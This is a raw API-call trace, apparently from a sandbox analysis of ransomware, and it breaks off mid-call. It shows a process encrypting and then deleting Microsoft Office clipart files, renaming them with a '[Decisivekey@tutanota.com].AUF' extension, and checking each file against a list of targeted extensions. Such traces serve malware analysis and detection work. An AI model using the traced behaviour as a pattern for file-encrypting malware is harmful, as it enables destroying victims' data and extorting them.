[0216.236] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.236] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0216.236] GetLastError () returned 0x0 [0216.237] ReadFile (in: hFile=0x208, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0xd32, lpOverlapped=0x0) returned 1 [0216.249] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xd40, lpOverlapped=0x0) returned 1 [0216.249] ReadFile (in: hFile=0x208, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.249] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.250] SetEndOfFile (hFile=0x218) returned 1 [0216.250] CloseHandle (hObject=0x218) returned 1 [0216.250] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.250] SetEndOfFile (hFile=0x208) returned 1 [0216.250] CloseHandle (hObject=0x208) returned 1 [0216.251] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.251] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif")) returned 1 [0216.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0216.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0216.251] lstrlenW (lpString=".doc") returned 4 [0216.251] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0216.251] lstrlenW (lpString=".docx") returned 5 [0216.251] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0216.251] lstrlenW (lpString=".pdf") returned 4 [0216.251] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0216.251] lstrlenW (lpString=".xls") returned 4 [0216.251] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0216.251] lstrlenW (lpString=".xlsx") returned 5 [0216.251] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0216.251] lstrlenW (lpString=".ppt") returned 4 [0216.251] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0216.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0216.251] lstrlenW (lpString=".zip") returned 4 [0216.251] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0216.251] lstrlenW (lpString=".rar") returned 4 [0216.251] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0216.251] lstrlenW (lpString=".bz2") returned 4 [0216.251] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0216.251] lstrlenW (lpString=".7z") returned 3 [0216.251] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0216.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0216.251] lstrlenW (lpString=".dbf") returned 4 [0216.251] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0216.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0216.251] lstrlenW (lpString=".1cd") returned 4 [0216.251] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0216.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0216.252] lstrlenW (lpString=".jpg") returned 4 [0216.252] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0216.259] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.259] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0216.261] GetLastError () returned 0x0 [0216.261] ReadFile (in: hFile=0x208, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x1634, lpOverlapped=0x0) returned 1 [0216.275] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x1640, lpOverlapped=0x0) returned 1 [0216.276] ReadFile (in: hFile=0x208, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.276] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.276] SetEndOfFile (hFile=0x218) returned 1 [0216.276] CloseHandle (hObject=0x218) returned 1 [0216.276] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.276] SetEndOfFile (hFile=0x208) returned 1 [0216.277] CloseHandle (hObject=0x208) returned 1 [0216.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.277] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf")) returned 1 [0216.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0216.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0216.277] lstrlenW (lpString=".doc") returned 4 [0216.277] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.277] lstrlenW (lpString=".docx") returned 5 [0216.277] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.277] lstrlenW (lpString=".pdf") returned 4 [0216.277] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.277] lstrlenW (lpString=".xls") returned 4 [0216.277] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.277] lstrlenW (lpString=".xlsx") returned 5 [0216.277] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.277] lstrlenW (lpString=".ppt") returned 4 [0216.277] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0216.278] lstrlenW (lpString=".zip") returned 4 [0216.278] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.278] lstrlenW (lpString=".rar") returned 4 [0216.278] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.278] lstrlenW (lpString=".bz2") returned 4 [0216.278] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.278] lstrlenW (lpString=".7z") returned 3 [0216.278] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0216.278] lstrlenW (lpString=".dbf") returned 4 [0216.278] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0216.278] lstrlenW (lpString=".1cd") returned 4 [0216.278] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0216.278] lstrlenW (lpString=".jpg") returned 4 [0216.278] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.278] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=7072) returned 1 [0216.278] CloseHandle (hObject=0x208) returned 1 [0216.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf")) returned 0x20 [0216.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0216.278] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.278] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0216.279] GetLastError () returned 0x0 [0216.279] ReadFile (in: hFile=0x208, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x1ba0, lpOverlapped=0x0) returned 1 [0216.322] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x1bb0, lpOverlapped=0x0) returned 1 [0216.323] ReadFile (in: hFile=0x208, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.323] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.323] SetEndOfFile (hFile=0x218) returned 1 [0216.323] CloseHandle (hObject=0x218) returned 1 [0216.323] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.323] SetEndOfFile (hFile=0x208) returned 1 [0216.324] CloseHandle (hObject=0x208) returned 1 [0216.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.324] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf")) returned 1 [0216.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0216.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0216.324] lstrlenW (lpString=".doc") returned 4 [0216.324] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.324] lstrlenW (lpString=".docx") returned 5 [0216.325] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.325] lstrlenW (lpString=".pdf") returned 4 [0216.325] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.325] lstrlenW (lpString=".xls") returned 4 [0216.325] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.325] lstrlenW (lpString=".xlsx") returned 5 [0216.325] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.325] lstrlenW (lpString=".ppt") returned 4 [0216.325] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0216.325] lstrlenW (lpString=".zip") returned 4 [0216.325] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.325] lstrlenW (lpString=".rar") returned 4 [0216.325] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.325] lstrlenW (lpString=".bz2") returned 4 [0216.325] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.325] lstrlenW (lpString=".7z") returned 3 [0216.325] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0216.325] lstrlenW (lpString=".dbf") returned 4 [0216.325] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0216.325] lstrlenW (lpString=".1cd") returned 4 [0216.325] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0216.325] lstrlenW (lpString=".jpg") returned 4 [0216.325] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.332] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.332] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0216.333] GetLastError () returned 0x0 [0216.333] ReadFile (in: hFile=0x208, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x1f20, lpOverlapped=0x0) returned 1 [0216.354] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x1f30, lpOverlapped=0x0) returned 1 [0216.355] ReadFile (in: hFile=0x208, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.355] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.355] SetEndOfFile (hFile=0x218) returned 1 [0216.355] CloseHandle (hObject=0x218) returned 1 [0216.355] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.355] SetEndOfFile (hFile=0x208) returned 1 [0216.356] CloseHandle (hObject=0x208) returned 1 [0216.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.356] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf")) returned 1 [0216.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0216.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0216.356] lstrlenW (lpString=".doc") returned 4 [0216.356] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.356] lstrlenW (lpString=".docx") returned 5 [0216.356] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.356] lstrlenW (lpString=".pdf") returned 4 [0216.356] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.356] lstrlenW (lpString=".xls") returned 4 [0216.356] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.356] lstrlenW (lpString=".xlsx") returned 5 [0216.356] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.356] lstrlenW (lpString=".ppt") returned 4 [0216.357] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0216.357] lstrlenW (lpString=".zip") returned 4 [0216.357] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.357] lstrlenW (lpString=".rar") returned 4 [0216.357] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.357] lstrlenW (lpString=".bz2") returned 4 [0216.549] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.549] lstrlenW (lpString=".7z") returned 3 [0216.549] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0216.549] lstrlenW (lpString=".dbf") returned 4 [0216.549] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0216.549] lstrlenW (lpString=".1cd") returned 4 [0216.549] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0216.549] lstrlenW (lpString=".jpg") returned 4 [0216.549] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.549] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.549] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0216.549] GetLastError () returned 0x0 [0216.549] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0xd58, lpOverlapped=0x0) returned 1 [0216.562] WriteFile (in: hFile=0x20c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xd60, lpOverlapped=0x0) returned 1 [0216.568] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.568] WriteFile (in: hFile=0x20c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.568] SetEndOfFile (hFile=0x20c) returned 1 [0216.568] CloseHandle (hObject=0x20c) returned 1 [0216.568] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.568] SetEndOfFile (hFile=0x1e4) returned 1 [0216.569] CloseHandle (hObject=0x1e4) returned 1 [0216.569] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.569] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf")) returned 1 [0216.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0216.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0216.569] lstrlenW (lpString=".doc") returned 4 [0216.569] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.569] lstrlenW (lpString=".docx") returned 5 [0216.569] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.569] lstrlenW (lpString=".pdf") returned 4 [0216.569] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.569] lstrlenW (lpString=".xls") returned 4 [0216.570] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.570] lstrlenW (lpString=".xlsx") returned 5 [0216.570] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.570] lstrlenW (lpString=".ppt") returned 4 [0216.570] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0216.570] lstrlenW (lpString=".zip") returned 4 [0216.570] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.570] lstrlenW (lpString=".rar") returned 4 [0216.570] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.570] lstrlenW (lpString=".bz2") returned 4 [0216.570] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.570] lstrlenW (lpString=".7z") returned 3 [0216.570] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0216.570] lstrlenW (lpString=".dbf") returned 4 [0216.570] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0216.570] lstrlenW (lpString=".1cd") returned 4 [0216.570] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0216.570] lstrlenW (lpString=".jpg") returned 4 [0216.570] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.570] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=3144) returned 1 [0216.570] CloseHandle (hObject=0x1e4) returned 1 [0216.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf")) returned 0x20 [0216.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0216.570] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.571] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, 